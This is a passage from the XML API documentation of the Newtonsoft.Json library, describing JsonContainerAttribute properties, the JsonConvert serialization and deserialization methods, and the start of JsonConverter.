or sets the title.\n            </summary>\n            <value>The title.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Description\">\n            <summary>\n            Gets or sets the description.\n            </summary>\n            <value>The description.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterType\">\n            <summary>\n            Gets or sets the collection's items converter.\n            </summary>\n            <value>The collection's items converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyType\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <see cref=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.IsReference\">\n            <summary>\n            Gets or sets a value that indicates whether to preserve object references.\n            </summary>\n            <value>\n            \t<c>true</c> to keep object reference; otherwise, <c>false</c>. The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemIsReference\">\n            <summary>\n            Gets or sets a value that indicates whether to preserve collection's items references.\n            </summary>\n            <value>\n            \t<c>true</c> to keep collection's items object references; otherwise, <c>false</c>. The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the collection's items.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the collection's items.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonContainerAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonContainerAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonContainerAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonContainerAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConvert\">\n            <summary>\n            Provides methods for converting between .NET types and JSON types.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"SerializeObject\" title=\"Serializing and Deserializing JSON with JsonConvert\" />\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\">\n            <summary>\n            Gets or sets a function that creates default <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            Default settings are automatically used by serialization methods on <see cref=\"T:Newtonsoft.Json.JsonConvert\"/>,\n            and <see cref=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1\"/> and <see cref=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object)\"/> on <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            To serialize without using any default settings create a <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> with\n            <see cref=\"M:Newtonsoft.Json.JsonSerializer.Create\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.True\">\n            <summary>\n            Represents JavaScript's boolean value <c>true</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.False\">\n            <summary>\n            Represents JavaScript's boolean value <c>false</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.Null\">\n            <summary>\n            Represents JavaScript's <c>null</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.Undefined\">\n            <summary>\n            Represents JavaScript's <c>undefined</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.PositiveInfinity\">\n            <summary>\n            Represents JavaScript's positive infinity as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.NegativeInfinity\">\n            <summary>\n            Represents JavaScript's negative infinity as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.NaN\">\n            <summary>\n            Represents JavaScript's <c>NaN</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTime)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTime\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTime\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTime,Newtonsoft.Json.DateFormatHandling,Newtonsoft.Json.DateTimeZoneHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTime\"/> to its JSON string representation using the <see cref=\"T:Newtonsoft.Json.DateFormatHandling\"/> specified.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"format\">The format the date will be converted to.</param>\n            <param name=\"timeZoneHandling\">The time zone handling when the date is converted to a string.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTime\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTimeOffset)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTimeOffset\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTimeOffset\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTimeOffset,Newtonsoft.Json.DateFormatHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTimeOffset\"/> to its JSON string representation using the <see cref=\"T:Newtonsoft.Json.DateFormatHandling\"/> specified.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"format\">The format the date will be converted to.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTimeOffset\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Boolean)\">\n            <summary>\n            Converts the <see cref=\"T:System.Boolean\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Boolean\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Char)\">\n            <summary>\n            Converts the <see cref=\"T:System.Char\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Char\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Enum)\">\n            <summary>\n            Converts the <see cref=\"T:System.Enum\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Enum\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int32)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int32\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int16)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int16\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int16\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt16)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt16\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt16\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt32)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt32\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt32\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Int64)\">\n            <summary>\n            Converts the <see cref=\"T:System.Int64\"/>  to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Int64\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.UInt64)\">\n            <summary>\n            Converts the <see cref=\"T:System.UInt64\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.UInt64\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Single)\">\n            <summary>\n            Converts the <see cref=\"T:System.Single\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Single\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Double)\">\n            <summary>\n            Converts the <see cref=\"T:System.Double\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Double\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Byte)\">\n            <summary>\n            Converts the <see cref=\"T:System.Byte\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Byte\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.SByte)\">\n            <summary>\n            Converts the <see cref=\"T:System.SByte\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.SByte\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Decimal)\">\n            <summary>\n            Converts the <see cref=\"T:System.Decimal\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Decimal\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Guid)\">\n            <summary>\n            Converts the <see cref=\"T:System.Guid\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Guid\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.TimeSpan)\">\n            <summary>\n            Converts the <see cref=\"T:System.TimeSpan\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.TimeSpan\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Uri)\">\n            <summary>\n            Converts the <see cref=\"T:System.Uri\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Uri\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String,System.Char)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"delimiter\">The string delimiter character.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.String,System.Char,Newtonsoft.Json.StringEscapeHandling)\">\n            <summary>\n            Converts the <see cref=\"T:System.String\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <param name=\"delimiter\">The string delimiter character.</param>\n            <param name=\"stringEscapeHandling\">The string escape handling.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.String\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.Object)\">\n            <summary>\n            Converts the <see cref=\"T:System.Object\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.Object\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object)\">\n            <summary>\n            Serializes the specified object to a JSON string.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting)\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Serializes the specified object to a JSON string using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"converters\">A collection of converters used while serializing.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting and a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"converters\">A collection of converters used while serializing.</param>\n            <returns>A JSON string representation of the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using a type, formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <param name=\"type\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeObject(System.Object,System.Type,Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Serializes the specified object to a JSON string using a type, formatting and <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The object to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <param name=\"type\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String)\">\n            <summary>\n            Deserializes the JSON to a .NET object.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to a .NET object using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeAnonymousType``1(System.String,``0)\">\n            <summary>\n            Deserializes the JSON to the given anonymous type.\n            </summary>\n            <typeparam name=\"T\">\n            The anonymous type to deserialize to. This can't be specified\n            traditionally and must be inferred from the anonymous type passed\n            as a parameter.\n            </typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"anonymousTypeObject\">The anonymous type object.</param>\n            <returns>The deserialized anonymous type from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeAnonymousType``1(System.String,``0,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the given anonymous type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <typeparam name=\"T\">\n            The anonymous type to deserialize to. This can't be specified\n            traditionally and must be inferred from the anonymous type passed\n            as a parameter.\n            </typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"anonymousTypeObject\">The anonymous type object.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized anonymous type from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"converters\">Converters to use while deserializing.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The object to deserialize.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The type of the object to deserialize.</param>\n            <param name=\"converters\">Converters to use while deserializing.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The type of the object to deserialize to.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.PopulateObject(System.String,System.Object)\">\n            <summary>\n            Populates the object with values from the JSON string.\n            </summary>\n            <param name=\"value\">The JSON to populate values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.PopulateObject(System.String,System.Object,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Populates the object with values from the JSON string using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to populate values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXNode(System.Xml.Linq.XObject)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.Linq.XNode\"/> to a JSON string.\n            </summary>\n            <param name=\"node\">The node to convert to JSON.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXNode(System.Xml.Linq.XObject,Newtonsoft.Json.Formatting)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.Linq.XNode\"/> to a JSON string using formatting.\n            </summary>\n            <param name=\"node\">The node to convert to JSON.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXNode(System.Xml.Linq.XObject,Newtonsoft.Json.Formatting,System.Boolean)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.Linq.XNode\"/> to a JSON string using formatting and omits the root object if <paramref name=\"omitRootObject\"/> is <c>true</c>.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"omitRootObject\">Omits writing the root object.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String,System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String,System.String,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>\n            and writes a Json.NET array attribute for collections.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String,System.String,System.Boolean,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>,\n            writes a Json.NET array attribute for collections, and encodes special characters.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <param name=\"encodeSpecialCharacters\">\n            A value to indicate whether to encode special characters when converting JSON to XML.\n            If <c>true</c>, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify\n            XML namespaces, attributes or processing directives. Instead special characters are encoded and written\n            as part of the XML element name.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverter\">\n            <summary>\n            Converts an object to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines 